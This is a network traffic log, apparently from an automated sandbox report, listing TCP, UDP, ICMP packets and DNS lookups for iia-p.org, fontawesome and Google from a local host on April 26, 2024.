Apr 26, 2024 06:28:56.737466097 CEST	443	49714	13.107.246.41	192.168.2.16
Apr 26, 2024 06:28:56.737505913 CEST	443	49714	13.107.246.41	192.168.2.16
Apr 26, 2024 06:28:56.737544060 CEST	49714	443	192.168.2.16	13.107.246.41
Apr 26, 2024 06:28:56.737545013 CEST	443	49714	13.107.246.41	192.168.2.16
Apr 26, 2024 06:28:56.737569094 CEST	443	49714	13.107.246.41	192.168.2.16
Apr 26, 2024 06:28:56.737606049 CEST	49714	443	192.168.2.16	13.107.246.41
Apr 26, 2024 06:28:56.737611055 CEST	443	49714	13.107.246.41	192.168.2.16
Apr 26, 2024 06:28:56.737672091 CEST	49714	443	192.168.2.16	13.107.246.41
Apr 26, 2024 06:28:56.737677097 CEST	443	49714	13.107.246.41	192.168.2.16
Apr 26, 2024 06:28:56.737721920 CEST	49714	443	192.168.2.16	13.107.246.41
Apr 26, 2024 06:28:56.737771034 CEST	443	49714	13.107.246.41	192.168.2.16
Apr 26, 2024 06:28:56.737845898 CEST	49714	443	192.168.2.16	13.107.246.41
Apr 26, 2024 06:28:56.738709927 CEST	49714	443	192.168.2.16	13.107.246.41
Apr 26, 2024 06:28:56.738724947 CEST	443	49714	13.107.246.41	192.168.2.16
Apr 26, 2024 06:28:56.843128920 CEST	443	49700	192.232.216.145	192.168.2.16
Apr 26, 2024 06:28:56.843303919 CEST	443	49700	192.232.216.145	192.168.2.16
Apr 26, 2024 06:28:56.843413115 CEST	49700	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:28:56.941508055 CEST	443	49715	192.232.216.145	192.168.2.16
Apr 26, 2024 06:28:56.991548061 CEST	49715	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:28:57.181885004 CEST	49673	443	192.168.2.16	204.79.197.203
Apr 26, 2024 06:28:58.385047913 CEST	49673	443	192.168.2.16	204.79.197.203
Apr 26, 2024 06:28:58.418590069 CEST	49700	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:28:58.418590069 CEST	49700	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:28:58.418610096 CEST	443	49700	192.232.216.145	192.168.2.16
Apr 26, 2024 06:28:58.418668032 CEST	49700	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:28:58.468601942 CEST	49688	443	192.168.2.16	23.39.228.248
Apr 26, 2024 06:29:00.634520054 CEST	443	49705	192.232.216.145	192.168.2.16
Apr 26, 2024 06:29:00.634593964 CEST	443	49705	192.232.216.145	192.168.2.16
Apr 26, 2024 06:29:00.634644985 CEST	49705	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:29:00.796899080 CEST	49673	443	192.168.2.16	204.79.197.203
Apr 26, 2024 06:29:01.953207970 CEST	443	49715	192.232.216.145	192.168.2.16
Apr 26, 2024 06:29:01.953427076 CEST	443	49715	192.232.216.145	192.168.2.16
Apr 26, 2024 06:29:01.953531027 CEST	49715	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:29:02.416240931 CEST	49715	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:29:02.416275978 CEST	443	49715	192.232.216.145	192.168.2.16
Apr 26, 2024 06:29:02.416291952 CEST	49715	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:29:02.416337967 CEST	49705	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:29:02.416340113 CEST	49715	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:29:02.416357040 CEST	443	49705	192.232.216.145	192.168.2.16
Apr 26, 2024 06:29:02.416387081 CEST	49705	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:29:02.416407108 CEST	49705	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:29:02.642232895 CEST	49722	443	192.168.2.16	23.34.16.106
Apr 26, 2024 06:29:02.642297983 CEST	443	49722	23.34.16.106	192.168.2.16
Apr 26, 2024 06:29:02.642376900 CEST	49722	443	192.168.2.16	23.34.16.106
Apr 26, 2024 06:29:02.644889116 CEST	49722	443	192.168.2.16	23.34.16.106
Apr 26, 2024 06:29:02.644916058 CEST	443	49722	23.34.16.106	192.168.2.16
Apr 26, 2024 06:29:02.948312044 CEST	443	49722	23.34.16.106	192.168.2.16
Apr 26, 2024 06:29:02.948396921 CEST	49722	443	192.168.2.16	23.34.16.106
Apr 26, 2024 06:29:02.952836037 CEST	49722	443	192.168.2.16	23.34.16.106
Apr 26, 2024 06:29:02.952861071 CEST	443	49722	23.34.16.106	192.168.2.16
Apr 26, 2024 06:29:02.953105927 CEST	443	49722	23.34.16.106	192.168.2.16
Apr 26, 2024 06:29:02.995897055 CEST	49722	443	192.168.2.16	23.34.16.106
Apr 26, 2024 06:29:03.036133051 CEST	443	49722	23.34.16.106	192.168.2.16
Apr 26, 2024 06:29:03.240556955 CEST	443	49722	23.34.16.106	192.168.2.16
Apr 26, 2024 06:29:03.240705967 CEST	443	49722	23.34.16.106	192.168.2.16
Apr 26, 2024 06:29:03.240791082 CEST	49722	443	192.168.2.16	23.34.16.106
Apr 26, 2024 06:29:03.240837097 CEST	49722	443	192.168.2.16	23.34.16.106
Apr 26, 2024 06:29:03.240866899 CEST	443	49722	23.34.16.106	192.168.2.16
Apr 26, 2024 06:29:03.240881920 CEST	49722	443	192.168.2.16	23.34.16.106
Apr 26, 2024 06:29:03.240890026 CEST	443	49722	23.34.16.106	192.168.2.16
Apr 26, 2024 06:29:03.280039072 CEST	49723	443	192.168.2.16	23.34.16.106
Apr 26, 2024 06:29:03.280081987 CEST	443	49723	23.34.16.106	192.168.2.16
Apr 26, 2024 06:29:03.280355930 CEST	49723	443	192.168.2.16	23.34.16.106
Apr 26, 2024 06:29:03.280687094 CEST	49723	443	192.168.2.16	23.34.16.106
Apr 26, 2024 06:29:03.280704021 CEST	443	49723	23.34.16.106	192.168.2.16
Apr 26, 2024 06:29:03.581479073 CEST	443	49723	23.34.16.106	192.168.2.16
Apr 26, 2024 06:29:03.581602097 CEST	49723	443	192.168.2.16	23.34.16.106
Apr 26, 2024 06:29:03.582977057 CEST	49723	443	192.168.2.16	23.34.16.106
Apr 26, 2024 06:29:03.582987070 CEST	443	49723	23.34.16.106	192.168.2.16
Apr 26, 2024 06:29:03.583213091 CEST	443	49723	23.34.16.106	192.168.2.16
Apr 26, 2024 06:29:03.585313082 CEST	49723	443	192.168.2.16	23.34.16.106
Apr 26, 2024 06:29:03.632122040 CEST	443	49723	23.34.16.106	192.168.2.16
Apr 26, 2024 06:29:03.877063036 CEST	443	49723	23.34.16.106	192.168.2.16
Apr 26, 2024 06:29:03.877144098 CEST	443	49723	23.34.16.106	192.168.2.16
Apr 26, 2024 06:29:03.877245903 CEST	49723	443	192.168.2.16	23.34.16.106
Apr 26, 2024 06:29:03.878252029 CEST	49723	443	192.168.2.16	23.34.16.106
Apr 26, 2024 06:29:03.878271103 CEST	443	49723	23.34.16.106	192.168.2.16
Apr 26, 2024 06:29:03.878284931 CEST	49723	443	192.168.2.16	23.34.16.106
Apr 26, 2024 06:29:03.878290892 CEST	443	49723	23.34.16.106	192.168.2.16
Apr 26, 2024 06:29:04.297833920 CEST	49724	443	192.168.2.16	40.68.123.157
Apr 26, 2024 06:29:04.297871113 CEST	443	49724	40.68.123.157	192.168.2.16
Apr 26, 2024 06:29:04.297961950 CEST	49724	443	192.168.2.16	40.68.123.157
Apr 26, 2024 06:29:04.299228907 CEST	49724	443	192.168.2.16	40.68.123.157
Apr 26, 2024 06:29:04.299241066 CEST	443	49724	40.68.123.157	192.168.2.16
Apr 26, 2024 06:29:04.441191912 CEST	49678	443	192.168.2.16	20.189.173.10
Apr 26, 2024 06:29:04.743855953 CEST	49678	443	192.168.2.16	20.189.173.10
Apr 26, 2024 06:29:05.104748964 CEST	443	49724	40.68.123.157	192.168.2.16
Apr 26, 2024 06:29:05.104922056 CEST	49724	443	192.168.2.16	40.68.123.157
Apr 26, 2024 06:29:05.108043909 CEST	49724	443	192.168.2.16	40.68.123.157
Apr 26, 2024 06:29:05.108053923 CEST	443	49724	40.68.123.157	192.168.2.16
Apr 26, 2024 06:29:05.108340979 CEST	443	49724	40.68.123.157	192.168.2.16
Apr 26, 2024 06:29:05.158883095 CEST	49724	443	192.168.2.16	40.68.123.157
Apr 26, 2024 06:29:05.182986021 CEST	49724	443	192.168.2.16	40.68.123.157
Apr 26, 2024 06:29:05.224123955 CEST	443	49724	40.68.123.157	192.168.2.16
Apr 26, 2024 06:29:05.352799892 CEST	49678	443	192.168.2.16	20.189.173.10
Apr 26, 2024 06:29:05.556320906 CEST	443	49711	192.178.50.68	192.168.2.16
Apr 26, 2024 06:29:05.556394100 CEST	443	49711	192.178.50.68	192.168.2.16
Apr 26, 2024 06:29:05.556453943 CEST	49711	443	192.168.2.16	192.178.50.68
Apr 26, 2024 06:29:05.604892969 CEST	49673	443	192.168.2.16	204.79.197.203
Apr 26, 2024 06:29:05.890445948 CEST	443	49724	40.68.123.157	192.168.2.16
Apr 26, 2024 06:29:05.890505075 CEST	443	49724	40.68.123.157	192.168.2.16
Apr 26, 2024 06:29:05.890515089 CEST	443	49724	40.68.123.157	192.168.2.16
Apr 26, 2024 06:29:05.890547991 CEST	443	49724	40.68.123.157	192.168.2.16
Apr 26, 2024 06:29:05.890598059 CEST	443	49724	40.68.123.157	192.168.2.16
Apr 26, 2024 06:29:05.890629053 CEST	49724	443	192.168.2.16	40.68.123.157
Apr 26, 2024 06:29:05.890629053 CEST	49724	443	192.168.2.16	40.68.123.157
Apr 26, 2024 06:29:05.890641928 CEST	443	49724	40.68.123.157	192.168.2.16
Apr 26, 2024 06:29:05.890664101 CEST	49724	443	192.168.2.16	40.68.123.157
Apr 26, 2024 06:29:05.890773058 CEST	49724	443	192.168.2.16	40.68.123.157
Apr 26, 2024 06:29:05.890796900 CEST	443	49724	40.68.123.157	192.168.2.16
Apr 26, 2024 06:29:05.890886068 CEST	443	49724	40.68.123.157	192.168.2.16
Apr 26, 2024 06:29:05.890887976 CEST	49724	443	192.168.2.16	40.68.123.157
Apr 26, 2024 06:29:05.890944958 CEST	49724	443	192.168.2.16	40.68.123.157
Apr 26, 2024 06:29:05.900763035 CEST	49724	443	192.168.2.16	40.68.123.157
Apr 26, 2024 06:29:05.900791883 CEST	443	49724	40.68.123.157	192.168.2.16
Apr 26, 2024 06:29:05.900863886 CEST	49724	443	192.168.2.16	40.68.123.157
Apr 26, 2024 06:29:05.900871038 CEST	443	49724	40.68.123.157	192.168.2.16
Apr 26, 2024 06:29:06.430902004 CEST	49711	443	192.168.2.16	192.178.50.68
Apr 26, 2024 06:29:06.430922985 CEST	443	49711	192.178.50.68	192.168.2.16
Apr 26, 2024 06:29:06.556855917 CEST	49678	443	192.168.2.16	20.189.173.10
Apr 26, 2024 06:29:08.903995991 CEST	49680	80	192.168.2.16	192.229.211.108
Apr 26, 2024 06:29:08.967844963 CEST	49678	443	192.168.2.16	20.189.173.10
Apr 26, 2024 06:29:09.207922935 CEST	49680	80	192.168.2.16	192.229.211.108
Apr 26, 2024 06:29:09.815201998 CEST	49680	80	192.168.2.16	192.229.211.108
Apr 26, 2024 06:29:11.014867067 CEST	49680	80	192.168.2.16	192.229.211.108
Apr 26, 2024 06:29:13.425837040 CEST	49680	80	192.168.2.16	192.229.211.108
Apr 26, 2024 06:29:13.777873039 CEST	49678	443	192.168.2.16	20.189.173.10
Apr 26, 2024 06:29:15.215878010 CEST	49673	443	192.168.2.16	204.79.197.203
Apr 26, 2024 06:29:18.238861084 CEST	49680	80	192.168.2.16	192.229.211.108
Apr 26, 2024 06:29:23.391870022 CEST	49678	443	192.168.2.16	20.189.173.10
Apr 26, 2024 06:29:27.848999977 CEST	49680	80	192.168.2.16	192.229.211.108
Apr 26, 2024 06:29:42.258205891 CEST	49725	443	192.168.2.16	40.68.123.157
Apr 26, 2024 06:29:42.258282900 CEST	443	49725	40.68.123.157	192.168.2.16
Apr 26, 2024 06:29:42.258460045 CEST	49725	443	192.168.2.16	40.68.123.157
Apr 26, 2024 06:29:42.259443998 CEST	49725	443	192.168.2.16	40.68.123.157
Apr 26, 2024 06:29:42.259484053 CEST	443	49725	40.68.123.157	192.168.2.16
Apr 26, 2024 06:29:43.068528891 CEST	443	49725	40.68.123.157	192.168.2.16
Apr 26, 2024 06:29:43.068628073 CEST	49725	443	192.168.2.16	40.68.123.157
Apr 26, 2024 06:29:43.070113897 CEST	49725	443	192.168.2.16	40.68.123.157
Apr 26, 2024 06:29:43.070127010 CEST	443	49725	40.68.123.157	192.168.2.16
Apr 26, 2024 06:29:43.070453882 CEST	443	49725	40.68.123.157	192.168.2.16
Apr 26, 2024 06:29:43.071978092 CEST	49725	443	192.168.2.16	40.68.123.157
Apr 26, 2024 06:29:43.116159916 CEST	443	49725	40.68.123.157	192.168.2.16
Apr 26, 2024 06:29:43.870310068 CEST	443	49725	40.68.123.157	192.168.2.16
Apr 26, 2024 06:29:43.870368958 CEST	443	49725	40.68.123.157	192.168.2.16
Apr 26, 2024 06:29:43.870389938 CEST	443	49725	40.68.123.157	192.168.2.16
Apr 26, 2024 06:29:43.870521069 CEST	49725	443	192.168.2.16	40.68.123.157
Apr 26, 2024 06:29:43.870521069 CEST	49725	443	192.168.2.16	40.68.123.157
Apr 26, 2024 06:29:43.870543957 CEST	443	49725	40.68.123.157	192.168.2.16
Apr 26, 2024 06:29:43.870593071 CEST	49725	443	192.168.2.16	40.68.123.157
Apr 26, 2024 06:29:43.870815039 CEST	443	49725	40.68.123.157	192.168.2.16
Apr 26, 2024 06:29:43.870868921 CEST	443	49725	40.68.123.157	192.168.2.16
Apr 26, 2024 06:29:43.870877981 CEST	49725	443	192.168.2.16	40.68.123.157
Apr 26, 2024 06:29:43.870887041 CEST	443	49725	40.68.123.157	192.168.2.16
Apr 26, 2024 06:29:43.870933056 CEST	49725	443	192.168.2.16	40.68.123.157
Apr 26, 2024 06:29:43.870940924 CEST	443	49725	40.68.123.157	192.168.2.16
Apr 26, 2024 06:29:43.870950937 CEST	443	49725	40.68.123.157	192.168.2.16
Apr 26, 2024 06:29:43.870996952 CEST	49725	443	192.168.2.16	40.68.123.157
Apr 26, 2024 06:29:43.874202967 CEST	49725	443	192.168.2.16	40.68.123.157
Apr 26, 2024 06:29:43.874221087 CEST	443	49725	40.68.123.157	192.168.2.16
Apr 26, 2024 06:29:43.874259949 CEST	49725	443	192.168.2.16	40.68.123.157
Apr 26, 2024 06:29:43.874268055 CEST	443	49725	40.68.123.157	192.168.2.16
Apr 26, 2024 06:29:55.101700068 CEST	49727	443	192.168.2.16	192.178.50.68
Apr 26, 2024 06:29:55.101746082 CEST	443	49727	192.178.50.68	192.168.2.16
Apr 26, 2024 06:29:55.101834059 CEST	49727	443	192.168.2.16	192.178.50.68
Apr 26, 2024 06:29:55.102194071 CEST	49727	443	192.168.2.16	192.178.50.68
Apr 26, 2024 06:29:55.102210045 CEST	443	49727	192.178.50.68	192.168.2.16
Apr 26, 2024 06:29:55.474574089 CEST	443	49727	192.178.50.68	192.168.2.16
Apr 26, 2024 06:29:55.474971056 CEST	49727	443	192.168.2.16	192.178.50.68
Apr 26, 2024 06:29:55.474986076 CEST	443	49727	192.178.50.68	192.168.2.16
Apr 26, 2024 06:29:55.475323915 CEST	443	49727	192.178.50.68	192.168.2.16
Apr 26, 2024 06:29:55.475723028 CEST	49727	443	192.168.2.16	192.178.50.68
Apr 26, 2024 06:29:55.475780010 CEST	443	49727	192.178.50.68	192.168.2.16
Apr 26, 2024 06:29:55.526874065 CEST	49727	443	192.168.2.16	192.178.50.68
Apr 26, 2024 06:30:05.471519947 CEST	443	49727	192.178.50.68	192.168.2.16
Apr 26, 2024 06:30:05.471584082 CEST	443	49727	192.178.50.68	192.168.2.16
Apr 26, 2024 06:30:05.471638918 CEST	49727	443	192.168.2.16	192.178.50.68
Apr 26, 2024 06:30:06.429657936 CEST	49727	443	192.168.2.16	192.178.50.68
Apr 26, 2024 06:30:06.429686069 CEST	443	49727	192.178.50.68	192.168.2.16
Apr 26, 2024 06:30:07.006462097 CEST	49728	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:30:07.006509066 CEST	443	49728	192.232.216.145	192.168.2.16
Apr 26, 2024 06:30:07.006591082 CEST	49728	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:30:07.006820917 CEST	49728	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:30:07.006834984 CEST	443	49728	192.232.216.145	192.168.2.16
Apr 26, 2024 06:30:07.454401016 CEST	443	49728	192.232.216.145	192.168.2.16
Apr 26, 2024 06:30:07.454703093 CEST	49728	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:30:07.454720974 CEST	443	49728	192.232.216.145	192.168.2.16
Apr 26, 2024 06:30:07.455027103 CEST	443	49728	192.232.216.145	192.168.2.16
Apr 26, 2024 06:30:07.455337048 CEST	49728	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:30:07.455395937 CEST	443	49728	192.232.216.145	192.168.2.16
Apr 26, 2024 06:30:07.455490112 CEST	49728	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:30:07.496144056 CEST	443	49728	192.232.216.145	192.168.2.16
Apr 26, 2024 06:30:08.923027039 CEST	443	49728	192.232.216.145	192.168.2.16
Apr 26, 2024 06:30:08.974766970 CEST	49728	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:30:08.974781990 CEST	443	49728	192.232.216.145	192.168.2.16
Apr 26, 2024 06:30:08.977597952 CEST	49729	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:30:08.977628946 CEST	443	49729	192.232.216.145	192.168.2.16
Apr 26, 2024 06:30:08.977718115 CEST	49729	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:30:08.977937937 CEST	49729	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:30:08.977951050 CEST	443	49729	192.232.216.145	192.168.2.16
Apr 26, 2024 06:30:09.022785902 CEST	49728	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:30:09.427282095 CEST	443	49729	192.232.216.145	192.168.2.16
Apr 26, 2024 06:30:09.427634954 CEST	49729	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:30:09.427650928 CEST	443	49729	192.232.216.145	192.168.2.16
Apr 26, 2024 06:30:09.428447008 CEST	443	49729	192.232.216.145	192.168.2.16
Apr 26, 2024 06:30:09.428761005 CEST	49729	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:30:09.428877115 CEST	443	49729	192.232.216.145	192.168.2.16
Apr 26, 2024 06:30:09.428900003 CEST	49729	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:30:09.469808102 CEST	49729	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:30:09.469820023 CEST	443	49729	192.232.216.145	192.168.2.16
Apr 26, 2024 06:30:09.994194984 CEST	443	49729	192.232.216.145	192.168.2.16
Apr 26, 2024 06:30:10.043762922 CEST	49729	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:30:13.915102005 CEST	443	49728	192.232.216.145	192.168.2.16
Apr 26, 2024 06:30:13.915184975 CEST	443	49728	192.232.216.145	192.168.2.16
Apr 26, 2024 06:30:13.915236950 CEST	49728	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:30:14.418453932 CEST	49728	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:30:14.418476105 CEST	443	49728	192.232.216.145	192.168.2.16
Apr 26, 2024 06:30:14.418483973 CEST	49728	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:30:14.418539047 CEST	49728	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:30:14.994729042 CEST	443	49729	192.232.216.145	192.168.2.16
Apr 26, 2024 06:30:14.994812012 CEST	443	49729	192.232.216.145	192.168.2.16
Apr 26, 2024 06:30:14.994903088 CEST	49729	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:30:16.430696964 CEST	49729	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:30:16.430727005 CEST	443	49729	192.232.216.145	192.168.2.16
Apr 26, 2024 06:30:16.430733919 CEST	49729	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:30:16.430809021 CEST	49729	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:30:27.627702951 CEST	49731	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:30:27.627803087 CEST	443	49731	192.232.216.145	192.168.2.16
Apr 26, 2024 06:30:27.627918959 CEST	49731	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:30:27.628155947 CEST	49731	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:30:27.628195047 CEST	443	49731	192.232.216.145	192.168.2.16
Apr 26, 2024 06:30:28.073005915 CEST	443	49731	192.232.216.145	192.168.2.16
Apr 26, 2024 06:30:28.073386908 CEST	49731	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:30:28.073446989 CEST	443	49731	192.232.216.145	192.168.2.16
Apr 26, 2024 06:30:28.073817968 CEST	443	49731	192.232.216.145	192.168.2.16
Apr 26, 2024 06:30:28.074137926 CEST	49731	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:30:28.074212074 CEST	443	49731	192.232.216.145	192.168.2.16
Apr 26, 2024 06:30:28.074290037 CEST	49731	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:30:28.120157003 CEST	443	49731	192.232.216.145	192.168.2.16
Apr 26, 2024 06:30:29.336072922 CEST	443	49731	192.232.216.145	192.168.2.16
Apr 26, 2024 06:30:29.388771057 CEST	49731	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:30:29.388808966 CEST	443	49731	192.232.216.145	192.168.2.16
Apr 26, 2024 06:30:29.391937971 CEST	49732	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:30:29.391988993 CEST	443	49732	192.232.216.145	192.168.2.16
Apr 26, 2024 06:30:29.392086029 CEST	49732	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:30:29.392316103 CEST	49732	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:30:29.392333031 CEST	443	49732	192.232.216.145	192.168.2.16
Apr 26, 2024 06:30:29.436779976 CEST	49731	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:30:29.841626883 CEST	443	49732	192.232.216.145	192.168.2.16
Apr 26, 2024 06:30:29.841926098 CEST	49732	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:30:29.841947079 CEST	443	49732	192.232.216.145	192.168.2.16
Apr 26, 2024 06:30:29.842402935 CEST	443	49732	192.232.216.145	192.168.2.16
Apr 26, 2024 06:30:29.842705011 CEST	49732	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:30:29.842803001 CEST	443	49732	192.232.216.145	192.168.2.16
Apr 26, 2024 06:30:29.842833996 CEST	49732	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:30:29.884125948 CEST	443	49732	192.232.216.145	192.168.2.16
Apr 26, 2024 06:30:29.897743940 CEST	49732	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:30:30.383826017 CEST	443	49732	192.232.216.145	192.168.2.16
Apr 26, 2024 06:30:30.424767971 CEST	49732	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:30:34.337577105 CEST	443	49731	192.232.216.145	192.168.2.16
Apr 26, 2024 06:30:34.337704897 CEST	443	49731	192.232.216.145	192.168.2.16
Apr 26, 2024 06:30:34.337775946 CEST	49731	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:30:34.425554991 CEST	49731	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:30:34.425589085 CEST	443	49731	192.232.216.145	192.168.2.16
Apr 26, 2024 06:30:34.425601006 CEST	49731	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:30:34.425646067 CEST	49731	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:30:35.384176016 CEST	443	49732	192.232.216.145	192.168.2.16
Apr 26, 2024 06:30:35.384255886 CEST	443	49732	192.232.216.145	192.168.2.16
Apr 26, 2024 06:30:35.384361029 CEST	49732	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:30:36.419342041 CEST	49732	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:30:36.419414997 CEST	443	49732	192.232.216.145	192.168.2.16
Apr 26, 2024 06:30:36.419455051 CEST	49732	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:30:36.419498920 CEST	49732	443	192.168.2.16	192.232.216.145
Apr 26, 2024 06:30:55.157994986 CEST	49733	443	192.168.2.16	192.178.50.68
Apr 26, 2024 06:30:55.158039093 CEST	443	49733	192.178.50.68	192.168.2.16
Apr 26, 2024 06:30:55.158143997 CEST	49733	443	192.168.2.16	192.178.50.68
Apr 26, 2024 06:30:55.158488035 CEST	49733	443	192.168.2.16	192.178.50.68
Apr 26, 2024 06:30:55.158504963 CEST	443	49733	192.178.50.68	192.168.2.16
Apr 26, 2024 06:30:55.605032921 CEST	443	49733	192.178.50.68	192.168.2.16
Apr 26, 2024 06:30:55.605407000 CEST	49733	443	192.168.2.16	192.178.50.68
Apr 26, 2024 06:30:55.605422020 CEST	443	49733	192.178.50.68	192.168.2.16
Apr 26, 2024 06:30:55.606512070 CEST	443	49733	192.178.50.68	192.168.2.16
Apr 26, 2024 06:30:55.606954098 CEST	49733	443	192.168.2.16	192.178.50.68
Apr 26, 2024 06:30:55.607099056 CEST	443	49733	192.178.50.68	192.168.2.16
Apr 26, 2024 06:30:55.652721882 CEST	49733	443	192.168.2.16	192.178.50.68

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 26, 2024 06:28:50.317491055 CEST	53260	53	192.168.2.16	1.1.1.1
Apr 26, 2024 06:28:50.317626953 CEST	58067	53	192.168.2.16	1.1.1.1
Apr 26, 2024 06:28:50.322815895 CEST	53	63084	1.1.1.1	192.168.2.16
Apr 26, 2024 06:28:50.360701084 CEST	53	60357	1.1.1.1	192.168.2.16
Apr 26, 2024 06:28:50.466413021 CEST	53	53260	1.1.1.1	192.168.2.16
Apr 26, 2024 06:28:50.595853090 CEST	53	58067	1.1.1.1	192.168.2.16
Apr 26, 2024 06:28:51.302277088 CEST	53	49231	1.1.1.1	192.168.2.16
Apr 26, 2024 06:28:52.064451933 CEST	55043	53	192.168.2.16	1.1.1.1
Apr 26, 2024 06:28:52.064606905 CEST	65501	53	192.168.2.16	1.1.1.1
Apr 26, 2024 06:28:52.211390972 CEST	53	50838	1.1.1.1	192.168.2.16
Apr 26, 2024 06:28:55.045991898 CEST	65315	53	192.168.2.16	1.1.1.1
Apr 26, 2024 06:28:55.046170950 CEST	49352	53	192.168.2.16	1.1.1.1
Apr 26, 2024 06:28:55.193176031 CEST	53	65315	1.1.1.1	192.168.2.16
Apr 26, 2024 06:28:55.193664074 CEST	53	49352	1.1.1.1	192.168.2.16
Apr 26, 2024 06:28:55.684063911 CEST	58061	53	192.168.2.16	1.1.1.1
Apr 26, 2024 06:28:55.684258938 CEST	49240	53	192.168.2.16	1.1.1.1
Apr 26, 2024 06:28:55.887775898 CEST	53	49240	1.1.1.1	192.168.2.16
Apr 26, 2024 06:28:55.970103025 CEST	53	58061	1.1.1.1	192.168.2.16
Apr 26, 2024 06:29:08.273695946 CEST	53	64352	1.1.1.1	192.168.2.16
Apr 26, 2024 06:29:26.991000891 CEST	53	63183	1.1.1.1	192.168.2.16
Apr 26, 2024 06:29:50.051150084 CEST	53	62255	1.1.1.1	192.168.2.16
Apr 26, 2024 06:29:50.326987028 CEST	53	51009	1.1.1.1	192.168.2.16
Apr 26, 2024 06:30:00.612231970 CEST	138	138	192.168.2.16	192.168.2.255
Apr 26, 2024 06:30:18.924000978 CEST	53	54009	1.1.1.1	192.168.2.16

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Apr 26, 2024 06:28:50.595917940 CEST	192.168.2.16	1.1.1.1	c227	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 26, 2024 06:28:50.317491055 CEST	192.168.2.16	1.1.1.1	0x9fb9	Standard query (0)	iia-p.org	A (IP address)	IN (0x0001)	false
Apr 26, 2024 06:28:50.317626953 CEST	192.168.2.16	1.1.1.1	0x6704	Standard query (0)	iia-p.org	65	IN (0x0001)	false
Apr 26, 2024 06:28:52.064451933 CEST	192.168.2.16	1.1.1.1	0x999f	Standard query (0)	use.fontawesome.com	A (IP address)	IN (0x0001)	false
Apr 26, 2024 06:28:52.064606905 CEST	192.168.2.16	1.1.1.1	0xfaf3	Standard query (0)	use.fontawesome.com	65	IN (0x0001)	false
Apr 26, 2024 06:28:55.045991898 CEST	192.168.2.16	1.1.1.1	0xc9d8	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 26, 2024 06:28:55.046170950 CEST	192.168.2.16	1.1.1.1	0x605	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 26, 2024 06:28:55.684063911 CEST	192.168.2.16	1.1.1.1	0x82ae	Standard query (0)	iia-p.org	A (IP address)	IN (0x0001)	false
Apr 26, 2024 06:28:55.684258938 CEST	192.168.2.16	1.1.1.1	0xb91	Standard query (0)	iia-p.org	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 26, 2024 06:28:50.466413021 CEST	1.1.1.1	192.168.2.16	0x9fb9	No error (0)	iia-p.org		192.232.216.145	A (IP address)	IN (0x0001)	false
Apr 26, 2024 06:28:52.211648941 CEST	1.1.1.1	192.168.2.16	0x999f	No error (0)	use.fontawesome.com	use.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
